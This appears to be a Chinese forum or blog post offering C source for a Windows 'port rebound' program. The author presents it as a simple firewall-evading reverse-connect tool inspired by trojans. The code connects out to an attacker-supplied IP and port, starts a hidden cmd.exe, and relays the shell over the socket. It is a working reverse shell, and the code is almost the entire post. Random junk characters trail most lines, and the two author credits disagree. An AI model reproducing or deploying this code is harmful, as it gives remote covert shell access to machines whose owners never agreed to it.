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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P'a0CE%  
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/* ============================== AddGB^7yl  
Rebound port in Windows NT k_,MoDz  
By wind,2006/7 ;;ER"N  
===============================*/ YniZ( ~^K  
#include =?= )s  
#include -Qg 2qN2{  
2{Wo-B,wt~  
#pragma comment(lib,"wsock32.lib") W[@i;f^g  
w- UKMW9"  
void OutputShell(); R;H?gE^m-  
SOCKET sClient; .CVUEK@Z4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Up<~0  
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void main(int argc,char **argv) D`~JbKV5@^  
{ ,5/V@;i  
WSADATA stWsaData; Hl4\M]]/&  
int nRet; XR|"dbZW.0  
SOCKADDR_IN stSaiClient,stSaiServer; N*~_\x  
BR;QY1  
if(argc != 3) #:$O=@@?M  
{ 1<`9HCm  
printf("Useage:\n\rRebound DestIP DestPort\n"); -<_7\09  
return; WElrk:b  
} Yy]T J  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 8)sg_JC  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nB=0T`vQ  
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stSaiClient.sin_family = AF_INET; +O'vj  
stSaiClient.sin_port = htons(0); CD}Ns  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Gfv(w=rr?  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kBbl+1{H  
{ *wwhZe4V  
printf("Bind Socket Failed!\n"); Te;gVG*  
return; vh &GIb  
} &s:=qQa1  
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stSaiServer.sin_family = AF_INET; hY+R'9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =D].`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =<{ RX8  
j5\$[-';  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >Rt9xP  
{ YdI0E   
printf("Connect Error!"); _R7 w?!t8  
return; B;!f<"a8  
} t8& q9$  
OutputShell(); '&by3y5w-3  
} 9= V>f )R  
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void OutputShell() zE`R,:VI  
{ u g\w\b  
char szBuff[1024]; w(B H247`  
SECURITY_ATTRIBUTES stSecurityAttributes; ~F w<eY  
OSVERSIONINFO stOsversionInfo; $b>}C= gt  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; . uR M{Bs  
STARTUPINFO stStartupInfo; $ D'^t(  
char *szShell;  i-W  
PROCESS_INFORMATION stProcessInformation; |;u}sX1t9  
unsigned long lBytesRead; $%PVJs  
k=/eM$":  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B8m_'!;;  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F98i*K`"  
stSecurityAttributes.lpSecurityDescriptor = 0; `.=sTp2rbc  
stSecurityAttributes.bInheritHandle = TRUE; )ofm_R'q*  
* OsU Y=;  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 9`"DFFSMS  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); '{ f=hE_/  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8LJ{i%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !e3YnlE  
stStartupInfo.wShowWindow = SW_HIDE; h qmSE'8  
stStartupInfo.hStdInput = hReadPipe; ]hE="z=n  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4h|dHXYZ  
7=P^_LcU  
GetVersionEx(&stOsversionInfo); V U~Dk);Bv  
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switch(stOsversionInfo.dwPlatformId) :reTJQwr  
{ [@"wd_f{l  
case 1: K:5eek  
szShell = "command.com"; ?KWj}| %  
break; @5<CXTdF9c  
default: [!"XcFY:a  
szShell = "cmd.exe"; i0pU!`0  
break; ~}%~oT  
} HIf{Z* mb  
!/I0i8T  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); oq;'eM1,.  
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send(sClient,szMsg,77,0); F#V q#|_)>  
while(1) Mkv|TyC  
{ .%xzT J=!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .36^[Jsz":  
if(lBytesRead) p!W[X%`)  
{ /8gL.i$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >a>fb|r  
send(sClient,szBuff,lBytesRead,0); ?IYY'fS"  
} |3eGz%Sd  
else ..KwTf  
{ d"T Ht}  
lBytesRead=recv(sClient,szBuff,1024,0); J7&DR^.Sw  
if(lBytesRead<=0) break; yA7 )Y})>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z,f=}t[.Y  
} =mt?C n}  
} i~yX tya  
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return; >PalH24]  
}
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